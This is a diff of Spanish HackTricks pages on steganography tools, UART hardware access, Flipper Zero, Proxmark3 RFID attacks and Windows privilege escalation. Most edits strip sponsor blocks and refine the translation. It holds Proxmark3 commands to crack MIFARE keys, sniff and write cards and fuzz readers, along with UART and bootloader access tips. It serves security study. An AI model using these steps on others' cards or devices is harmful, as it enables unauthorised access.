@ -1,28 +1,20 @@
|
|||
# Stego Tricks
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Aprende y practica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## **Extracción de Datos de Archivos**
|
||||
|
||||
### **Binwalk**
|
||||
|
@ -35,7 +27,7 @@ binwalk --dd ".*" file # Extracts all data
|
|||
```
|
||||
### **Foremost**
|
||||
|
||||
Recupera archivos basados en sus encabezados y pies de página, útil para imágenes png. Instalado a través de `apt` con su fuente en [GitHub](https://github.com/korczis/foremost).
|
||||
Recupera archivos basados en sus encabezados y pies de página, útil para imágenes png. Se instala a través de `apt` con su fuente en [GitHub](https://github.com/korczis/foremost).
|
||||
```bash
|
||||
foremost -i file # Extracts data
|
||||
```
|
||||
|
@ -125,7 +117,7 @@ zsteg se especializa en descubrir datos ocultos en archivos PNG y BMP. La instal
|
|||
|
||||
**Stegsolve** aplica varios filtros de color para revelar textos o mensajes ocultos dentro de las imágenes. Está disponible en [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
|
||||
|
||||
### **FFT para detección de contenido oculto**
|
||||
### **FFT para la detección de contenido oculto**
|
||||
|
||||
Las técnicas de Transformada Rápida de Fourier (FFT) pueden revelar contenido oculto en imágenes. Los recursos útiles incluyen:
|
||||
|
||||
|
@ -212,12 +204,6 @@ Para traducir Braille, el [Traductor de Braille de Branah](https://www.branah.co
|
|||
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,25 +15,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal es combatir la toma de control de cuentas y ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Información Básica
|
||||
|
||||
UART es un protocolo serial, lo que significa que transfiere datos entre componentes un bit a la vez. En contraste, los protocolos de comunicación paralela transmiten datos simultáneamente a través de múltiples canales. Los protocolos seriales comunes incluyen RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express y USB.
|
||||
|
||||
Generalmente, la línea se mantiene alta (en un valor lógico de 1) mientras UART está en estado de inactividad. Luego, para señalar el inicio de una transferencia de datos, el transmisor envía un bit de inicio al receptor, durante el cual la señal se mantiene baja (en un valor lógico de 0). A continuación, el transmisor envía de cinco a ocho bits de datos que contienen el mensaje real, seguido de un bit de paridad opcional y uno o dos bits de parada (con un valor lógico de 1), dependiendo de la configuración. El bit de paridad, utilizado para la verificación de errores, rara vez se ve en la práctica. El bit (o bits) de parada indican el final de la transmisión.
|
||||
Generalmente, la línea se mantiene alta (en un valor lógico de 1) mientras UART está en estado de inactividad. Luego, para señalar el inicio de una transferencia de datos, el transmisor envía un bit de inicio al receptor, durante el cual la señal se mantiene baja (en un valor lógico de 0). A continuación, el transmisor envía de cinco a ocho bits de datos que contienen el mensaje real, seguidos de un bit de paridad opcional y uno o dos bits de parada (con un valor lógico de 1), dependiendo de la configuración. El bit de paridad, utilizado para la verificación de errores, rara vez se ve en la práctica. El bit (o bits) de parada indican el final de la transmisión.
|
||||
|
||||
Llamamos a la configuración más común 8N1: ocho bits de datos, sin paridad y un bit de parada. Por ejemplo, si quisiéramos enviar el carácter C, o 0x43 en ASCII, en una configuración UART 8N1, enviaríamos los siguientes bits: 0 (el bit de inicio); 0, 1, 0, 0, 0, 0, 1, 1 (el valor de 0x43 en binario), y 0 (el bit de parada).
|
||||
|
||||
|
@ -45,7 +32,7 @@ Herramientas de hardware para comunicarse con UART:
|
|||
* Adaptadores con los chips CP2102 o PL2303
|
||||
* Herramienta multipropósito como: Bus Pirate, el Adafruit FT232H, el Shikra o el Attify Badge
|
||||
|
||||
### Identificando Puertos UART
|
||||
### Identificación de Puertos UART
|
||||
|
||||
UART tiene 4 puertos: **TX**(Transmitir), **RX**(Recibir), **Vcc**(Voltaje) y **GND**(Tierra). Podrías encontrar 4 puertos con las letras **`TX`** y **`RX`** **escritas** en el PCB. Pero si no hay indicación, es posible que necesites intentar encontrarlos tú mismo usando un **multímetro** o un **analizador lógico**.
|
||||
|
||||
|
@ -53,14 +40,14 @@ Con un **multímetro** y el dispositivo apagado:
|
|||
|
||||
* Para identificar el pin **GND**, usa el modo de **Prueba de Continuidad**, coloca el cable negro en tierra y prueba con el rojo hasta que escuches un sonido del multímetro. Se pueden encontrar varios pines GND en el PCB, por lo que podrías haber encontrado o no el que pertenece a UART.
|
||||
* Para identificar el **puerto VCC**, configura el **modo de voltaje DC** y ajústalo a 20 V de voltaje. Probeta negra en tierra y probeta roja en el pin. Enciende el dispositivo. Si el multímetro mide un voltaje constante de 3.3 V o 5 V, has encontrado el pin Vcc. Si obtienes otros voltajes, vuelve a intentarlo con otros puertos.
|
||||
* Para identificar el **puerto TX**, configura el **modo de voltaje DC** hasta 20 V de voltaje, probeta negra en tierra y probeta roja en el pin, y enciende el dispositivo. Si encuentras que el voltaje fluctúa durante unos segundos y luego se estabiliza en el valor Vcc, es muy probable que hayas encontrado el puerto TX. Esto se debe a que al encender, envía algunos datos de depuración.
|
||||
* Para identificar el **puerto TX**, configura el **modo de voltaje DC** hasta 20 V de voltaje, probeta negra en tierra y probeta roja en el pin, y enciende el dispositivo. Si encuentras que el voltaje fluctúa durante unos segundos y luego se estabiliza en el valor de Vcc, es muy probable que hayas encontrado el puerto TX. Esto se debe a que al encender, envía algunos datos de depuración.
|
||||
* El **puerto RX** sería el más cercano a los otros 3, tiene la fluctuación de voltaje más baja y el valor general más bajo de todos los pines UART.
|
||||
|
||||
Puedes confundir los puertos TX y RX y no pasaría nada, pero si confundes el puerto GND y el VCC podrías dañar el circuito.
|
||||
Puedes confundir los puertos TX y RX y no pasará nada, pero si confundes el puerto GND y el VCC podrías dañar el circuito.
|
||||
|
||||
En algunos dispositivos objetivo, el puerto UART está deshabilitado por el fabricante al deshabilitar RX o TX o incluso ambos. En ese caso, puede ser útil rastrear las conexiones en la placa de circuito y encontrar algún punto de conexión. Una fuerte pista sobre la confirmación de la no detección de UART y la ruptura del circuito es verificar la garantía del dispositivo. Si el dispositivo ha sido enviado con alguna garantía, el fabricante deja algunas interfaces de depuración (en este caso, UART) y, por lo tanto, debe haber desconectado el UART y lo volvería a conectar mientras depura. Estos pines de conexión pueden ser conectados mediante soldadura o cables de puente.
|
||||
En algunos dispositivos objetivo, el puerto UART está deshabilitado por el fabricante al deshabilitar RX o TX o incluso ambos. En ese caso, puede ser útil rastrear las conexiones en la placa de circuito y encontrar algún punto de conexión. Una fuerte pista sobre la confirmación de la no detección de UART y la ruptura del circuito es verificar la garantía del dispositivo. Si el dispositivo ha sido enviado con alguna garantía, el fabricante deja algunas interfaces de depuración (en este caso, UART) y, por lo tanto, debe haber desconectado el UART y lo volvería a conectar mientras depura. Estos pines de conexión se pueden conectar soldando o usando cables de puente.
|
||||
|
||||
### Identificando la Tasa de Baud de UART
|
||||
### Identificación de la Tasa de Baud de UART
|
||||
|
||||
La forma más fácil de identificar la tasa de baud correcta es observar la **salida del pin TX y tratar de leer los datos**. Si los datos que recibes no son legibles, cambia a la siguiente tasa de baud posible hasta que los datos se vuelvan legibles. Puedes usar un adaptador USB a serie o un dispositivo multipropósito como Bus Pirate para hacer esto, junto con un script auxiliar, como [baudrate.py](https://github.com/devttys0/baudrate/). Las tasas de baud más comunes son 9600, 38400, 19200, 57600 y 115200.
|
||||
|
||||
|
@ -88,19 +75,19 @@ minicom -s
|
|||
```
|
||||
Configura los ajustes como la velocidad en baudios y el nombre del dispositivo en la opción `Configuración del puerto serie`.
|
||||
|
||||
Después de la configuración, utiliza el comando `minicom` para iniciar la Consola UART.
|
||||
Después de la configuración, usa el comando `minicom` para iniciar la Consola UART.
|
||||
|
||||
## UART a través de Arduino UNO R3 (Placas de chip Atmel 328p extraíbles)
|
||||
|
||||
En caso de que no estén disponibles adaptadores de UART Serial a USB, se puede usar Arduino UNO R3 con un hack rápido. Dado que Arduino UNO R3 suele estar disponible en cualquier lugar, esto puede ahorrar mucho tiempo.
|
||||
En caso de que no estén disponibles adaptadores de UART Serial a USB, se puede usar Arduino UNO R3 con un hack rápido. Dado que Arduino UNO R3 está generalmente disponible en cualquier lugar, esto puede ahorrar mucho tiempo.
|
||||
|
||||
Arduino UNO R3 tiene un adaptador USB a Serial integrado en la placa. Para obtener la conexión UART, simplemente desconecta el chip microcontrolador Atmel 328p de la placa. Este hack funciona en variantes de Arduino UNO R3 que tienen el Atmel 328p no soldado en la placa (se utiliza la versión SMD). Conecta el pin RX de Arduino (Pin Digital 0) al pin TX de la interfaz UART y el pin TX de Arduino (Pin Digital 1) al pin RX de la interfaz UART.
|
||||
Arduino UNO R3 tiene un adaptador USB a Serial integrado en la placa. Para obtener conexión UART, simplemente desconecta el chip microcontrolador Atmel 328p de la placa. Este hack funciona en variantes de Arduino UNO R3 que tienen el Atmel 328p no soldado en la placa (se utiliza la versión SMD). Conecta el pin RX de Arduino (Pin Digital 0) al pin TX de la interfaz UART y el pin TX de Arduino (Pin Digital 1) al pin RX de la interfaz UART.
|
||||
|
||||
Finalmente, se recomienda usar Arduino IDE para obtener la Consola Serial. En la sección `herramientas` del menú, selecciona la opción `Consola Serial` y establece la velocidad en baudios según la interfaz UART.
|
||||
|
||||
## Bus Pirate
|
||||
|
||||
En este escenario, vamos a espiar la comunicación UART del Arduino que está enviando todas las impresiones del programa al Monitor Serial.
|
||||
En este escenario vamos a espiar la comunicación UART del Arduino que está enviando todas las impresiones del programa al Monitor Serial.
|
||||
```bash
|
||||
# Check the modes
|
||||
UART>m
|
||||
|
@ -196,31 +183,19 @@ binwalk -e <filename.rom>
|
|||
```
|
||||
Esto enumerará los posibles contenidos de la EEPROM según las firmas encontradas en el archivo hex.
|
||||
|
||||
Sin embargo, es necesario notar que no siempre es el caso que el uboot esté desbloqueado incluso si se está utilizando. Si la tecla Enter no hace nada, verifica diferentes teclas como la tecla Espacio, etc. Si el bootloader está bloqueado y no se interrumpe, este método no funcionará. Para verificar si uboot es el bootloader del dispositivo, revisa la salida en la Consola UART mientras se inicia el dispositivo. Puede mencionar uboot durante el arranque.
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware robador**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
Sin embargo, es necesario notar que no siempre es el caso que el uboot esté desbloqueado, incluso si se está utilizando. Si la tecla Enter no hace nada, verifica diferentes teclas como la tecla Espacio, etc. Si el bootloader está bloqueado y no se interrumpe, este método no funcionará. Para verificar si uboot es el bootloader del dispositivo, revisa la salida en la Consola UART mientras se inicia el dispositivo. Puede mencionar uboot durante el arranque.
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,23 +9,15 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
Con [**Flipper Zero**](https://flipperzero.one/) puedes:
|
||||
|
||||
* **Escuchar/Capturar/Reproducir frecuencias de radio:** [**Sub-GHz**](fz-sub-ghz.md)
|
||||
* **Escuchar/Capturar/Repetir frecuencias de radio:** [**Sub-GHz**](fz-sub-ghz.md)
|
||||
* **Leer/Capturar/Emular tarjetas NFC:** [**NFC**](fz-nfc.md)
|
||||
* **Leer/Capturar/Emular etiquetas de 125kHz:** [**125kHz RFID**](fz-125khz-rfid.md)
|
||||
* **Leer/Capturar/Enviar señales infrarrojas:** [**Infrarrojo**](fz-infrared.md)
|
||||
|
@ -36,12 +28,6 @@ Con [**Flipper Zero**](https://flipperzero.one/) puedes:
|
|||
|
||||
**Otros recursos de Flipper Zero en** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -51,8 +37,8 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,23 +15,16 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Intro <a href="#kfpn7" id="kfpn7"></a>
|
||||
|
||||
Flipper Zero puede **recibir y transmitir frecuencias de radio en el rango de 300-928 MHz** con su módulo incorporado, que puede leer, guardar y emular controles remotos. Estos controles se utilizan para interactuar con puertas, barreras, cerraduras de radio, interruptores de control remoto, timbres inalámbricos, luces inteligentes y más. Flipper Zero puede ayudarte a aprender si tu seguridad está comprometida.
|
||||
Flipper Zero puede **recibir y transmitir frecuencias de radio en el rango de 300-928 MHz** con su módulo integrado, que puede leer, guardar y emular controles remotos. Estos controles se utilizan para interactuar con puertas, barreras, cerraduras de radio, interruptores de control remoto, timbres inalámbricos, luces inteligentes y más. Flipper Zero puede ayudarte a aprender si tu seguridad está comprometida.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (714).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Hardware Sub-GHz <a href="#kfpn7" id="kfpn7"></a>
|
||||
|
||||
Flipper Zero tiene un módulo sub-1 GHz incorporado basado en un [](https://www.st.com/en/nfc/st25r3916.html#overview)[chip CC1101](https://www.ti.com/lit/ds/symlink/cc1101.pdf) y una antena de radio (el rango máximo es de 50 metros). Tanto el chip CC1101 como la antena están diseñados para operar en las bandas de frecuencias de 300-348 MHz, 387-464 MHz y 779-928 MHz.
|
||||
Flipper Zero tiene un módulo sub-1 GHz integrado basado en un [](https://www.st.com/en/nfc/st25r3916.html#overview)[chip CC1101](https://www.ti.com/lit/ds/symlink/cc1101.pdf) y una antena de radio (el rango máximo es de 50 metros). Tanto el chip CC1101 como la antena están diseñados para operar en las bandas de frecuencias de 300-348 MHz, 387-464 MHz y 779-928 MHz.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (923).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -128,12 +121,6 @@ Obtén dBms de las frecuencias guardadas
|
|||
|
||||
* [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Atacando sistemas RFID con Proxmark3
|
||||
|
||||
Lo primero que necesitas hacer es tener un [**Proxmark3**](https://proxmark.com) y [**instalar el software y sus dependencias**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
|
||||
|
@ -31,7 +23,7 @@ Lo primero que necesitas hacer es tener un [**Proxmark3**](https://proxmark.com)
|
|||
|
||||
Tiene **16 sectores**, cada uno de ellos tiene **4 bloques** y cada bloque contiene **16B**. El UID está en el sector 0 bloque 0 (y no se puede alterar).\
|
||||
Para acceder a cada sector necesitas **2 claves** (**A** y **B**) que están almacenadas en **el bloque 3 de cada sector** (trailer del sector). El trailer del sector también almacena los **bits de acceso** que otorgan los permisos de **lectura y escritura** en **cada bloque** usando las 2 claves.\
|
||||
2 claves son útiles para dar permisos de lectura si conoces la primera y de escritura si conoces la segunda (por ejemplo).
|
||||
2 claves son útiles para otorgar permisos de lectura si conoces la primera y de escritura si conoces la segunda (por ejemplo).
|
||||
|
||||
Se pueden realizar varios ataques.
|
||||
```bash
|
||||
|
@ -52,7 +44,7 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
|
|||
proxmark3> hf mf eget 01 # Read block 1
|
||||
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
|
||||
```
|
||||
El Proxmark3 permite realizar otras acciones como **eavesdropping** en una **comunicación de Tag a Reader** para intentar encontrar datos sensibles. En esta tarjeta, podrías simplemente espiar la comunicación y calcular la clave utilizada porque las **operaciones criptográficas utilizadas son débiles** y conociendo el texto plano y el texto cifrado puedes calcularla (herramienta `mfkey64`).
|
||||
El Proxmark3 permite realizar otras acciones como **escuchar** una **comunicación de Tag a Reader** para intentar encontrar datos sensibles. En esta tarjeta, podrías simplemente espiar la comunicación y calcular la clave utilizada porque las **operaciones criptográficas utilizadas son débiles** y conociendo el texto plano y el texto cifrado puedes calcularla (herramienta `mfkey64`).
|
||||
|
||||
### Comandos en Crudo
|
||||
|
||||
|
@ -74,14 +66,7 @@ El software Proxmark3 viene con una lista precargada de **scripts de automatizac
|
|||
```
|
||||
proxmark3> script run mfkeys
|
||||
```
|
||||
Puedes crear un script para **fuzz tag readers**, así que copiando los datos de una **tarjeta válida** solo escribe un **script Lua** que **randomice** uno o más **bytes** aleatorios y verifica si el **lector se bloquea** con alguna iteración.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
Puedes crear un script para **fuzz tag readers**, así que copiando los datos de una **valid card** solo escribe un **Lua script** que **randomice** uno o más **bytes** aleatorios y verifica si el **reader crashes** con alguna iteración.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,17 +15,9 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Grupo de Seguridad Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### **Mejor herramienta para buscar vectores de escalación de privilegios local en Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
|
||||
### [Información del Sistema](windows-local-privilege-escalation/#system-info)
|
||||
### [Información del sistema](windows-local-privilege-escalation/#system-info)
|
||||
|
||||
* [ ] Obtener [**Información del sistema**](windows-local-privilege-escalation/#system-info)
|
||||
* [ ] Buscar **exploits de kernel** [**usando scripts**](windows-local-privilege-escalation/#version-exploits)
|
||||
|
@ -49,11 +41,11 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
* [ ] Verificar si hay algún [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
|
||||
